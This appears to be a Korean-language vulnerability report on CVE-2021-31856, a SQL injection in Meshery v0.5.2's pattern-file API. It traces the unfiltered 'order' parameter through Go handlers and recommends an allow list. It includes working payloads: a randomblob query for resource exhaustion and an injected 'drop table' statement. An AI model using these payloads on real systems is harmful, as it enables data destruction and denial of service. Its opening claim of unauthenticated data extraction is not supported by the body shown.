ssst0n3/cve-2021-31856CVE-2021-31856에 대한 상세 보고서로, Meshery의 패턴 파일 API에서 SQL 인젝션 취약점을 PoC 및 코드 분석과 함께 제공하여 인증되지 않은 데이터 추출을 가능하게 합니다.
| 항목 | 세부 정보 | 참고 |
|---|
| 프로젝트 | https://github.com/layer5io/meshery | |
| 발표일 | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| 취약한 버전 | v0.5.2 | \ |
| 패치 버전 | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| 작성자 | https://github.com/ssst0n3 |
meshery/models/meshery_pattern_persister.go의 GetMesheryPatterns() 함수는 order 매개변수(/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0)를 통해 SQL 인젝션 취약점이 있습니다.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
함수 GetMesheryPatterns의 매개변수 order는 문자열 인스턴스입니다. gorm을 사용할 때 쿼리문에 직접 추가되며, SQL 쿼리문은 Find()에 의해 실행됩니다.
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
매개변수 order가 필터링 없이 사용자 입력에서 오는 경우, SQL 인젝션 취약점이 존재합니다.
호출 과정을 추적하면 매개변수 'order'가 쿼리에서 직접 오는 것을 알 수 있습니다.
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
디버깅하면 쿼리문이 다음과 같다는 것을 알 수 있습니다:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
order를 id;drop table meshery_patterns로 설정하면 문장은 다음과 같이 됩니다.
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
그리고 테이블이 삭제됩니다.
전체 호출 체인은 다음과 같습니다:
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
필터링 없이 사용자 입력에서 매개변수를 사용하는 대신 order 매개변수에 대한 허용 목록을 설정합니다.
gorm 문서에서 참고할 수 있습니다: https://gorm.io/docs/security.html